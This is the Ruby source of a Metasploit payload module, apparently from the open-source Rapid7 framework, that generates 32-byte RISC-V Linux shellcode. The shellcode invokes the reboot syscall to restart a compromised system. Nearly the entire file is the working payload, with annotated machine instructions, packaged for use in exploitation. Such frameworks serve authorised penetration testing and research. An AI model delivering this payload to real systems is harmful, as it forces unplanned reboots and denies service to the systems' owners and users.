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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = 32
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  include Msf::Payload::Single
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  include Msf::Payload::Linux
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  def initialize(info = {})
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    super(
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      merge_info(
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        info,
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        'Name' => 'Linux Reboot',
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        'Description' => %q{
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          A very small shellcode for rebooting the system using
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          the reboot syscall. This payload is sometimes helpful
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          for testing purposes.
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        },
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        'Author' => 'bcoles',
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        'License' => MSF_LICENSE,
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        'Platform' => 'linux',
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        'Arch' => ARCH_RISCV32LE
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      )
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    )
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  end
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  def generate(_opts = {})
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    shellcode =
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      [0xfee1e537].pack('V*') + # lui   a0,0xfee1e
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      [0xead50513].pack('V*') + # addi  a0,a0,-339
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      [0x281225b7].pack('V*') + # lui   a1,0x2812
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      [0x96958593].pack('V*') + # addi  a1,a1,-1687
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      [0x01234637].pack('V*') + # lui   a2,0x1234
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      [0x56760613].pack('V*') + # addi  a2,a2,1383
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      [0x08e00893].pack('V*') + # li    a7,142
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      [0x00000073].pack('V*')   # ecall
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    super.to_s + shellcode
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  end
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end
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